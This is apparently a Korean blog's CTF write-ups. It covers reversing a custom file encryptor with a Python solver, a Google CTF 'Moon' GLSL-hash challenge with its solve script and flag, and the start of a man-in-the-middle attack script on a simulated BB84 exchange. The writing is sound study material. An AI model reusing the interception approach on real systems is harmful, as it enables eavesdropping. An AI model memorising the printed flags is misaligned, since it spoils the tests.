반응형

 대회 기간 동안 단 한 문제 푼 나를 생각하며

 

분석

 

 이 문제는 32bit win binary와 암호화된 png 파일을 제공합니다.

 

 

 exe 파일은 UPX Packing 되어 있어 IDA로 바로 분석하기 어려웠지만 UPX Unpacking이 가능했기에 unpacking후 ida로 분석하였고, 동적 분석은 x64dbg를 사용하였다.

 

 프로그램의 첫 번째 실행 루틴입니다.

File 이름을 입력받고 89번째 라인에서 File 내용을 읽어드립니다. 그리고 rand함수를 사용해 121크기의 sbox를 생성합니다.

 

 첫 번째 핵심 루틴입니다.

파일 각 byte를 bit로 바꾼 뒤 121 bit 크기만큼 채워진다면 위에서 생성한 Sbox를 통해 위치를 바꿉니다.

 그리고 83번째 라인에서 121bit에 대한 HASH 연산을 하고 121~128사이를 채워 넣습니다.

 

 그리고 임의의 자리 바꾸기를 하고, 해당 내용을 저장합니다.

 그리고 연산 후 남은 bit 부분은 0을 체워서 저장해 둡니다.

 두 번째 핵심 연산은 16byte 랜덤 값을 생성하는 것으로 시작합니다.

 그 후 첫 번째 연산에서 만든 값을 랜덤 값과 XOR 하고, sub 401660에서 변환을 한 뒤 랜덤 값을 변환된 값으로 바꿔 줍니다.

 

 sub 404EE0 함수에서는 암호화될 파일 앞 16byte를 가져와서 sub 401660에서 사용될 a2의 값을 생성합니다.

여기서 byte_4232A0은 AES Sbox이고, 파일은 PNG 파일이므로 앞 16byte에 무엇이 들어갈지 알 수 있습니다.

 

 변환 함수에서 다른 코드는 역연산에 큰 문제가 없지만 위 코드에서는 문제가 있어 보입니다.

4 byte 브포는 할 수 없으므로, 연산을 조금 수정해 보면

 

 1byte 브포 공식으로 바꿀 수 있습니다.

 

 마지막은 8byte 랜덤으로 MT19937_64 랜덤을 생성하고 16byte마다 1bit를 xor 하는 연산이 있습니다.

해당 연산 때문에 역연산에서 브포를 해야 하는 부분이 생깁니다.

 

 이 연산이 끝나면 .enc파일을 생성하고 암호화된 내용과 연산 2에서 나온 랜덤 값을 저장하고 끝납니다.

 

역연산

 

 일단 우리는 연산 1과 2는 쉽게 해결할 수 있음을 알고 있습니다.

다만 문제는 연산 3에서 브포를 해야 한다는 것인데 이는 DFS 구조를 사용하면 쉽게 할 수 있습니다.

0x10씩 끊어서 연산하면서 연산 1에서 나온 HASH 값을 토대로 찾아가면 될 줄 알았으나... 연산 2의 존재로 인해 잘못된 값이 생성되기 시작했습니다.

 

 하지만 여기서 우리는 PNG파일에서도 CRC32가 존재함을 알고 있기 때문에 역연산 하면서 연산 내용인 PNG 파일을 분석하면서 복호화된 내용이 올바른 값인지 확인하면 됩니다. 

 

 그래서 풀이 코드는 아래와 같습니다.

 

import copy
from struct import unpack
import string
import zlib 
import pickle

OUTPUT_str = ['' for i in range(0xF000)]
STR_OK =  [b'IHDR',b'IDAT',b'IEND',b'gAMA',b'pHYs',b'sRGB',b'sPLT']
OUTPUT = open("test.png","wb")
class THE_PNG_STATER():
    def __init__(self):
        self.STACK = [(0,0,0,0) for i in range(0xF000)]
        self.IDX = 0
        self.LEN = 0
        self.next_in = 0
        self.data = b""
        self.bit_str=""
        
        self.crh_stat = 0
        self.crh_start = 0
        self.crh_len = 0
    
    def crc32(self,data):
        crc = zlib.crc32(data[:-4])
        
        if crc != unpack(">I",data[-4:])[0]:
            return False
        return True

    def check_data(self,I,data_bit):
        if self.next_in == I:
            tmp = self.bit_str + data_bit
            self.STACK[I] = (self.IDX,self.crh_stat,self.crh_start,self.crh_len)
        else:

            alive = (121 * I) // 8
            lb = (121 * I) % 8
            if alive >= len(self.data):
                print("!!!!!!!!!!!!!!!!!!!")
                ta = []
                OUT = ""
                for a in range(I):
                    OUT += OUTPUT_str[a]
                    while len(OUT) >= 8:
                        ta.append(int(OUT[0:8],2))
                        OUT = OUT[8:]
                self.data = bytes(ta)
                self.bit_str = OUT
            else:
                t = self.data[alive]
                if lb == 0:
                    self.bit_str = ""
                else:
                    self.bit_str = f"{t:08b}"[:lb]
            tmp = self.bit_str + data_bit
            self.data = self.data[:alive]
            (self.IDX,self.crh_stat,self.crh_start,self.crh_len) = self.STACK[I]
        datas = []
        while len(tmp) >= 8:
            datas.append(int(tmp[0:8],2))
            tmp = tmp[8:]
        bit_str = tmp

        data = self.data + bytes(datas)
        datalen = (121 * (I+1)) // 8
        idx = self.IDX
        crh_stat = self.crh_stat
        crh_len = self.crh_len
        crh_start = self.crh_start
        
        while idx < datalen:
            if idx == 0:
                if data[0:8] != b"\x89PNG\x0d\x0a\x1a\x0a":
                    return False
                idx += 8
            if crh_stat == 0:
                if idx + 4 >= datalen:
                    break
                crh_len = unpack(">I",data[idx:idx+4])[0]
                if crh_len > 0x7000:
                    print(hex(crh_len))
                    return False
                crh_stat = 1
                idx += 4

            elif crh_stat == 1:
                if idx + 4 >= datalen:
                    break
                t = data[idx:idx+4]
                print(t)
                if t not in STR_OK:
                    return False
                crh_stat = 2
                crh_start = idx
                idx += 4
                
            elif crh_stat == 2:
                if idx - crh_start == crh_len + 8:
                    if self.crc32(data[crh_start:idx]) == False:
                        return False
                    OUTPUT.seek(0);
                    OUTPUT.write(data)
                    crh_stat = 0
                else:
                    idx += 1
                
        # it successed
        self.next_in = I+1
        self.crh_start= crh_start
        self.crh_stat = crh_stat
        self.crh_len = crh_len
        self.IDX = idx
        self.data = data
        self.bit_str = bit_str
        return True

class microsoft_rand_prng:
    def __init__(self): 
        self._seed = 0 

    def srand(self, seed): 
        self._seed = seed 

    def rand(self): 
        n = self._seed * 0x343fd + 0x269ec3 
        self._seed = n & 0xffffffff 
        return (n>>16) & 0x7fff 

libc = microsoft_rand_prng()
libc.srand(1);

BIT_SBOX = [i for i in range(121)]

C = 0
while True:
    T1 = libc.rand()
    T2 = libc.rand()
    if (T1* T2)&0xffffffff <= C:
        break
    T1 = libc.rand() % 121
    T2 = libc.rand() % 121
    tmp = BIT_SBOX[T1]
    BIT_SBOX[T1] = BIT_SBOX[T2]
    BIT_SBOX[T2] = tmp
    C+=1

def HASH_BIT(STR):
    HASH = 0xff
    for i in range(121):
        HASH = ~((int(STR[i]) & 1) - 1) & 0x89 ^ (HASH >> 1)
        HASH &= 0xff
    return ~HASH & 0x7F

s_box = (
    0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
    0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
    0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
    0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
    0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
    0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
    0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
    0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
    0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
    0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
    0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
    0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
    0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
    0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
    0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)
Sbox_inv = (
    0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB,
    0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB,
    0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E,
    0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25,
    0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92,
    0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84,
    0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06,
    0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B,
    0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73,
    0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E,
    0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B,
    0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4,
    0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F,
    0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF,
    0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61,
    0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D
)

# WE KNOW THAT
FIRST_IN = [0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D,0x49,0x48,0x44,0x52]

ENC_TABLE = [0 for i in range(16 * 11)]
AB = [0,1,2,4,8,16,32,64,128,0x1b,0x36]
for i in range(16):
    ENC_TABLE[i] = FIRST_IN[i]
for i in range(0x28):
    v5 = ENC_TABLE[i*4 + 12]
    v6 = ENC_TABLE[i*4 + 13]
    v7 = ENC_TABLE[i*4 + 14]
    v8 = ENC_TABLE[i*4 + 15]
    if i % 4 == 0:
        v9 = s_box[v6]
        v6 = s_box[v7]
        v7 = s_box[v8]
        v8 = s_box[v5]
        v5 = v9 ^ AB[(i >> 2) + 1]
    ENC_TABLE[4*i+16] = v5 ^ ENC_TABLE[4*i + 0]
    ENC_TABLE[4*i+17] = v6 ^ ENC_TABLE[4*i + 1]
    ENC_TABLE[4*i+18] = v7 ^ ENC_TABLE[4*i + 2]
    ENC_TABLE[4*i+19] = v8 ^ ENC_TABLE[4*i + 3]


def FIND_INV_XORS(K):
    eT = K[0]^K[1]^K[2]^K[3]
    eCxD = K[0] ^ K[2] ^ ((27 * ((eT >> 7))) ^ (2 * (eT)))&0xff
    eAxB = K[1] ^ K[3] ^ ((27 * ((eT >> 7))) ^ (2 * (eT)))&0xff 
    #eBxC = K[0] ^ K[1] ^ ((27 * (eCxD >> 7) ^ (2 * eCxD)))&0xff
    eAxD = K[2] ^ K[3] ^ ((27 * (eCxD >> 7) ^ (2 * eCxD)))&0xff
    #eBxD = K[1] ^ K[2] ^ ((27 * (eAxB >> 7) ^ (2 * eAxB)))&0xff
    eAxC = K[0] ^ K[3] ^ ((27 * (eAxB >> 7) ^ (2 * eAxB)))&0xff
    for i in range(256):
        A = i
        B = eAxB ^ A
        C = eAxC ^ A
        D = eAxD ^ A
        T = A ^ B ^ C ^ D;
        if K[0] == (T ^ (27 * ((B ^ C) >> 7)) ^ (2 * (B ^ C)) ^ C)&0xff and K[1] == (T ^ (27 * ((D ^ B) >> 7)) ^ (2 * (D ^ B)) ^ B)&0xff:
            if K[2] == (T ^ (27 * ((A ^ D) >> 7)) ^ (2 * (A ^ D)) ^ D)&0xff and K[3] == (T ^ (27 * ((A ^ C) >> 7)) ^ (2 * (A ^ C)) ^ A)&0xff:
                return (A,B,C,D)
    raise BaseException

MAP = {}
def REVERSE_XORS(ENC):
    if bytes(ENC) in MAP:
        return copy.deepcopy(MAP[bytes(ENC)])
    S = [0 for i in range(16)]
    T = [0 for i in range(16)]
    S[0] = ENC[0] ^ ENC_TABLE[160] 
    S[5] = ENC[1] ^ ENC_TABLE[161] 
    S[10] = ENC[2] ^ ENC_TABLE[162] 
    S[15] = ENC[3] ^ ENC_TABLE[163] 
    S[4] = ENC[4] ^ ENC_TABLE[164] 
    S[9] = ENC[5] ^ ENC_TABLE[165] 
    S[14] = ENC[6] ^ ENC_TABLE[166] 
    S[3] = ENC[7] ^ ENC_TABLE[167] 
    S[8] = ENC[8] ^ ENC_TABLE[168] 
    S[13] = ENC[9] ^ ENC_TABLE[169] 
    S[2] = ENC[10] ^ ENC_TABLE[170]
    S[7] = ENC[11] ^ ENC_TABLE[171]
    S[12] = ENC[12] ^ ENC_TABLE[172]
    S[1] = ENC[13] ^ ENC_TABLE[173]
    S[6] = ENC[14] ^ ENC_TABLE[174]
    S[11] = ENC[15] ^ ENC_TABLE[175]
    C = 10
    while True:
        for i in range(16):
            S[i] = Sbox_inv[S[i]]
        C -= 1
        for i in range(16):
            S[i] ^= ENC_TABLE[16*C+i]

        if C == 0:
            break
        
        (T[11],T[1],T[12],T[6]) = FIND_INV_XORS((S[12],S[13],S[14],S[15]))
        (T[7],T[13],T[8],T[2]) = FIND_INV_XORS((S[8],S[9],S[10],S[11]))
        (T[3],T[9],T[4],T[14]) = FIND_INV_XORS((S[4],S[5],S[6],S[7]))
        (T[15],T[5],T[0],T[10]) = FIND_INV_XORS((S[0],S[1],S[2],S[3]))
        for i in range(16):
            S[i] = T[i]
    MAP[bytes(ENC)] = copy.deepcopy(S)
    return S

f = open("rewrite.png.enc","rb")
ENC = f.read()
f.close()
SEED = ENC[-16:]
ENC = ENC[:-16]
DEC_1 = []
S = [0 for _ in range(16)]
print(len(ENC)//16)

PNG = THE_PNG_STATER()

ORI_SEED = ['' for _ in range(len(ENC)//16)]
ORI_SEED[0] = SEED
CONT = [[0,0] for _ in range(len(ENC)//16)]
COUT = 0
I = 0


import sys
def my_except_hook(exctype, value, traceback):
    with open("ORI_SEED.pickle","wb") as fw:
        pickle.dump(ORI_SEED, fw)
    with open("CONT.pickle","wb") as fw:
        pickle.dump(CONT, fw)  
    with open("I.pickle","wb") as fw:
        pickle.dump(I, fw)        
    with open("OUTPUT_str.pickle","wb") as fw:
        pickle.dump(OUTPUT_str, fw)   
    with open("PNG.pickle","wb") as fw:
        pickle.dump(PNG, fw)   
    sys.__excepthook__(exctype, value, traceback)
sys.excepthook = my_except_hook

if False:
    with open("ORI_SEED.pickle","rb") as fw:
        ORI_SEED = pickle.load(fw)
    with open("CONT.pickle","rb") as fw:
        CONT = pickle.load(fw)  
    with open("I.pickle","rb") as fw:
        I = pickle.load(fw)        
    with open("OUTPUT_str.pickle","rb") as fw:
        OUTPUT_str = pickle.load(fw)   
    with open("PNG.pickle","rb") as fw:
        PNG = pickle.load(fw)   

while I < (len(ENC)//16):

    print(I)
    CN_s = CONT[I][0]
    CB_s = CONT[I][1]
    tmp = ENC[I*16:I*16+16]
    enc = []
    for i in tmp:
        enc.append(i)

    if I == (len(ENC)//16)-1:

        T = REVERSE_XORS(enc)
        for i in range(16):
            T[i] ^= ORI_SEED[I][i]
        if T[15] != 0:
            CONT[I][0] = 0
            CONT[I][1] = 0
            I -= 1
            continue
        
        print(T)
        OUT = ""
        for i in range(16):
            OUT += f"{T[i]:08b}"[::-1]
        if PNG.check_data(I,copy.deepcopy(OUT)) == False:
            continue

        CONT[I][0] = 0
        CONT[I][1] = 0
        I -= 1
        continue
    F = 0
    for CN in range(CN_s,16):
        for CB in range(CB_s,8):
            enc[15-CN] ^= 1 << (7-CB)
            T = REVERSE_XORS(enc)
            enc[15-CN] ^= 1 << (7-CB)
            for i in range(16):
                T[i] ^= ORI_SEED[I][i]
            TMP3 = ""
            for i in range(16):
                TMP3 += f"{T[i]:08b}"[::-1]
            TMP2 = ['' for _ in range(128)]
            for i in range(121):
                TMP2[i] = TMP3[i+3]
            TMP2[127] = TMP3[0]
            TMP2[122] = TMP3[1]
            TMP2[126] = TMP3[2]
            TMP2[124] = TMP3[124]
            TMP2[125] = TMP3[125]
            TMP2[123] = TMP3[126]
            TMP2[121] = TMP3[127]
            hash = ""
            for i in range(127,120,-1):
                hash += TMP2[i]
            HASH = int(hash,2)
            if HASH_BIT(TMP2) != HASH:
                continue
            
            TMP = ['' for i in range(121)]
            for t in range(121):
                TMP[BIT_SBOX[t]] = TMP2[t]
            OUT = ""
            for t in range(121):
                OUT += TMP[t]
            
            if PNG.check_data(I,copy.deepcopy(OUT)) == False:
                continue

            
            F = 1
            OUTPUT_str[I] = copy.deepcopy(OUT)
            tmp = copy.deepcopy(enc)
            tmp[15-CN] ^= 1 << (7-CB)
            CONT[I][0] = CN
            CONT[I][1] = CB + 1         
            ORI_SEED[I+1] = tmp
            I += 1
            break
        CB_s = 0
        if F == 1:
            break
    if F == 0:
        CONT[I][0] = 0
        CONT[I][1] = 0
        I -= 1

 

 Python으로 코딩하다가 잘못됨을 느꼈지만 C로 포팅하기에는 늦음을 알고 쭉 진행했습니다.

재귀 호출로 DFS를 구현하려다가 스택이 터지는 문제를 보고 while로 억지로 구현하였고, pypy로 실행한 결과 한 1시간 30분 만에 생성되었다.

 

 원래는 아래에 더 있어야 하지만 대충 플레그 나온 곳 까지만 보았다.

 

'CTF' 카테고리의 다른 글

2017 DIMICTF problems & 후기  (0) 2017.07.22
Google CTF 2017 Moon  (0) 2017.06.23
Plaid CTF 2017 BB8  (0) 2017.06.02
SSG 2017 Write Up  (0) 2017.06.02
Plaid CTF 2017 Down the Reversing Hole  (0) 2017.04.24
반응형

본선 문제: https://drive.google.com/open?id=0B-vUealQ_HWMdnl5ZXQ3VFVFVlE(MISC 제외)

예선 문제:  https://drive.google.com/open?id=0B-vUealQ_HWMTTlZU1BrdmNyOTA


예선 문제들 중 400점이 문제가 있었는데, angr로 풀릴줄은 생각하지 않다가, 거하게 뒷통수를 맞아버림...

본선 문제는 300점 빼면 쉽게 냈다고 생각했는데 워낙 못풀길레 오후 문제를 오전에 급조하며 만들었음,

misc문제는 본선때 딱 하나만 냈는데 tesseract-ocr를 쓰면 쉽게 풀 수 있었음(내가 풀이 만들면서 잘 인식되는걸로 조정함)


리버싱 문제를 내면서 ANGR, OCR, Z3 등이 자주 쓰인다는 것을 알려주려고 했었음


'CTF' 카테고리의 다른 글

CodeGate 2022 NDEncryptor  (0) 2022.02.28
Google CTF 2017 Moon  (0) 2017.06.23
Plaid CTF 2017 BB8  (0) 2017.06.02
SSG 2017 Write Up  (0) 2017.06.02
Plaid CTF 2017 Down the Reversing Hole  (0) 2017.04.24
반응형

이름의 의미가 뭔지는 모르겠지만

이번 문제는 Moon 이다.


OpenGL을 사용하고 있었고 다른 팀원들 컴퓨터에서는 작동을 하지 않았기 때문에

나 혼자서 풀었어야 했었다.



We choose to go to the moon. We choose to go to the moon in this decade and do the other things, not because they are easy, but because they are hard, because that challenge is one that we are willing to accept, one we are unwilling to postpone, and one which we intend to win.

그럼 문제를 풀어보자



main 화면을 디스어셈 한 일부분이다.

main 내부가 크고 복잡하였기 때문에 일부분만 분석하였다.



main 부분에서 중요한 부분이다.

150 번째 줄에서 memcmp를 하는 것을 볼 수 있는데

이 부분을 x64 dbg로 참이 되게 바꾸니 Good 이라고 나오는 것을 확인했다.


Buf2 의 값은

30c7ead97107775969be4ba00cf5578f1048ab1375113631dbb6871dbe35162b1c62e982eb6a7512f3274743fb2e55c818912779ef7a34169a838666ff3994bb4d3c6e14ba2d732f14414f2c1cb5d3844935aebbbe3fb206343a004e18a092daba02e3c0969871548ed2c372eb68d1af41152cb3b61f300e3c1a8246108010d282e16df8ae7bff6cb6314d4ad38b5f9779ef23208efe3e1b699700429eae1fa93c036e5dcbe87d32be1ecfac2452ddfdc704a00ea24fbc2161b7824a968e9da1db756712be3e7b3d3420c8f33c37dba42072a941d799ba2eebbf86191cb59aa49a80ebe0b61a79741888cb62341259f62848aad44df2b809383e09437928980f

이었고 sub_401BF0 에서 주 연산이 이루어 진다는 것을 분석하였다.


문제는 분석하면서 qword_4CC528 라는 함수에서 갑자기 입력값에서 시리얼리 갑자기 툭 나온다는 것이었다.

라이브러리 끝까지 분석해 봤는데 syscall 나와서 멘붕했다는...

나중에 xref로 따라가 보니 GetProcAddress로 glClientWaitSync 이라는 함수 주소를 저장하는 걸 보고 냉장고에 머리를 찍었다.



위 사진은 sub_401BF0 내부이다.

여기서 glClientWaitSync를 실행하고 나면 시리얼이 만들어 지고 %.8x를 통해 문자열 화 될 것이다.



glClientWaitSync를 실행하기 전에 수행되는 작업인데 이 부분을 어셈으로 보면



이렇게 나오며 RAX를 hexdump로 아랫부분을 살펴보면



이렇게 입력값이 들어가 있다. 아마도 구조체인거 같은데 분석하기 귀찮고 직관적이어서 PASS 했다.



glClientWaitSync를 실행하게 되면 xmm0으로 넣었던 01 부분이 02가 되고 시리얼 값이 나오게 된다.



이제 glClientWaitSync이게 뭐 하는 함수인지 보자.



딱 보니 thread에서 wait 같이 기다리는 함수인거 같다.

sync을 찾아보니 glFenceSync의 반환값이라는 것을 알 수 있었고

인자 중 0x9117는 SYNC_GPU_COMMANDS_COMPLETE 였다.

아마도 GPU를 쓰는 거 같다. 


COMMANDS 라고 해서 sub_401BF0 함수 내부를 뜯어보던 중



이런 부분이 있길레 dword_4CA0A8를 xref로 찾아 보니



이런 부분이 나왔다.

62번째 줄 윗부분에는 Memory를 가지고 많은 연산을 하고 있었다.



sub_401770 내부이다. Compile 나오고 Source 나오고 난리났다.

뭔가 엄청나게 수상해 보인다.

따라서 디버거로 sub_401770 호출 부분에 BP를 걸고 인자 내부를 보았다.



????????



GLSL 이다.

소스

#version 430
layout(local_size_x=8,local_size_y=8)in;
layout(std430,binding=0) buffer shaderExchangeProtocol{uint state[64];uint hash[64];uint password[32];};
vec3 calc(uint p)
{
	float r=radians(p);
	float c=cos(r);
	float s=sin(r);
	mat3 m=mat3(c,-s,0.0,s,c,0.0,0.0,0.0,1.0);
	vec3 pt=vec3(1024.0,0.0,0.0);
	vec3 res=m*pt;
	res+=vec3(2048.0,2048.0,0.0);
	return res;
}
uint extend(uint e)
{
	uint i;uint r=e^0x5f208c26;
	for (i=15;i<31;i+=3)
	{
		uint f=e<<i;
		r^=f;
	}
	return r;
}
uint hash_alpha(uint p)
{
	vec3 res=calc(p);
	return extend(uint(res[0]));
}
uint hash_beta(uint p)
{
	vec3 res=calc(p);
	return extend(uint(res[1]));
}
void main()
{
	uint idx=gl_GlobalInvocationID.x+gl_GlobalInvocationID.y*8;
	uint final;
	if (state[idx]!=1)
	{
		return;
	}
	if ((idx&1)==0)
	{
		final=hash_alpha(password[idx/2]);
	}
	else
	{
		final=hash_beta(password[idx/2]);
	}
	uint i;
	for (i=0;i<32;i+=6)
	{
		final^=idx<<i;
	}
	uint h=0x5a;
	for (i=0;i<32;i++)
	{
		uint p=password[i];
		uint r=(i*3)&7;
		p=(p<<r)|(p>>(8-r));
		p&=0xff;
		h^=p;
	}
	final^=(h|(h<<8)|(h<<16)|(h<<24));
	hash[idx]=final;
	state[idx]=2;
	memoryBarrierShared();
}

뭔가 많이 복잡해 보이지만 쉽다.

입력한 한 글자마다 hash_alpha, hash_beta를 각각 만들어서 final로 저장하는 부분

충분히 계산 가능한 idx 가지고 연산하는 부분

마지막으로 역연산이 불가능 해 보이는 모든 password가지고 연산하는 부분 

3부분으로 이루어 진다.


첫 번째와 두 번째는 충분히 GLSL 코드를 변경하든지 해서 값을 뽑아올 수 있지만

마지막이 막막해 보이지만 2n 번째 hash와 2n+1 번째 hash 각각 2번째 부분을 해결 한뒤

서로 xor 하게 되면 마지막 부분이 xor의 성질에 따라 사라지고 hash_alpha ^ hash_beta를 한 값과 동일해 지게 된다.


따라서 hash_alpha와 hash_beta 가 출력하는 값을 가져오면 된다.

이부분은 GLSL이 C 기반이기도 하고 쉽기 때문에 PASS


from struct import unpack
f = open("ihash","rb")
hashtxt = f.read()
f.close()
f = open("alpha","rb")
alphatxt = f.read()
f.close()
f = open("beta","rb")
betatxt = f.read()
f.close()

hashs= []
for i in range(64):
    hashs.append(unpack(">I",hashtxt[i*4:(i+1)*4])[0])
alpha=[]
for i in range(0x60):
    alpha.append(unpack("<I",alphatxt[i*4:(i+1)*4])[0])
beta=[]
for i in range(0x60):
    beta.append(unpack("<I",betatxt[i*4:(i+1)*4])[0])
    
for i in range(64):
    fin = 0
    for j in range(0,32,6):
        fin ^= i << j
    hashs[i] ^= fin

where = []

for i in range(0x00,0x60):
    where.append(alpha[i] ^ beta[i])

txt = ""
for i in range(32):
    txt += chr(where.index(hashs[i*2] ^ hashs[i*2+1])+0x20)
print txt


이렇게 하면 답이 CTF{OpenGLMoonMoonG*esT*TheMoon} 이렇게 나왔다.

그러나 인증이 되지 않았고 실제 입력해 보니 답이 아니라고 나왔다.



삽질하던 도중 팀원분이 *를 0 으로 바꾸니 인증이 됬다고 하셨다.

원인을 알아보니 *와 0의 hash_alpha ^ hash_beta 값이 같았기 때문이다.



OpenGL를 강제적으로 배울 수 있는 계기였다.

FLAG: CTF{OpenGLMoonMoonG0esT0TheMoon}

'CTF' 카테고리의 다른 글

CodeGate 2022 NDEncryptor  (0) 2022.02.28
2017 DIMICTF problems & 후기  (0) 2017.07.22
Plaid CTF 2017 BB8  (0) 2017.06.02
SSG 2017 Write Up  (0) 2017.06.02
Plaid CTF 2017 Down the Reversing Hole  (0) 2017.04.24
반응형

아직도 생각하면 멘탈 나가는 문제

양자 통신 프로토콜 BB84를 구현한 문제이다.

https://ko.wikipedia.org/wiki/%EC%96%91%EC%9E%90%EC%95%94%ED%98%B8 : 위키백과

우리는 Alice와 Bob이 통신하는 것을 도청과 값을 바꿀 수 있는데, 이 때문에 Man in the Middle Attack이 가능하다.


일단 어떤 절차인지 알아보자

일단 이 프로그램은 편광필터(기저, Basis)를 Y와 Z로 구분했고 비트는 -1, 1이 존재한다.

1. Alice가 600개의 랜덤한 기저와 비트를 생성해서 Bob에게 보낸다. Bob은 Z기저 1을 보내어 ACK 확인을 한다.

2. Bob은 600개를 받는 즉시 기저를 Z에 맞추고, 추측한 600개의 기저를 Alice에게 Z로 추측했다면 -1을 Y로 추측했다면 1을 보내고, Alice는 Z기저로 추측한 기저가 맞다면 1을 틀리다면 -1을 보낸다.

3. Alice와 Bob은 도청이 있는지 확인하기 위해서 짝수번째 비트들을 Z기저를 통해 보낸다. Alice는 Z기저로 1을 보내어 ACK 확인을 한다.

4. 이후 Alice와 Bob은 도청이 없다고 확인한 뒤 홀수번째 비트들로 AES 128bit키를 만든다(-1 -> 0, 1 -> 1)

5. Alice와 Bob은 AES128-ECB 통신을 한다.


해석만 할 줄 알면 쉬운 문제였는데 문제는 통합 1500+a 통신을 하는 것을 감청하고 바꿔야 해서 

한번 시도 하는데 30분이 넘게 걸려서 멘탈이 파쇄당했다. 한번에 비트들을 보냈으면 더 좋지 않았을까 한다.



from pwn import *

r = remote("bb8.chal.pwning.xxx",20811)

def GetQubit():
    ZAq = []
    ZBq = []
    for i in range(599):
        print i
        r.sendlineafter("Bob, do you want to intercept (y/N)?","y")
        r.sendlineafter("(Z/Y)","Z")
        r.recvuntil("measured ")
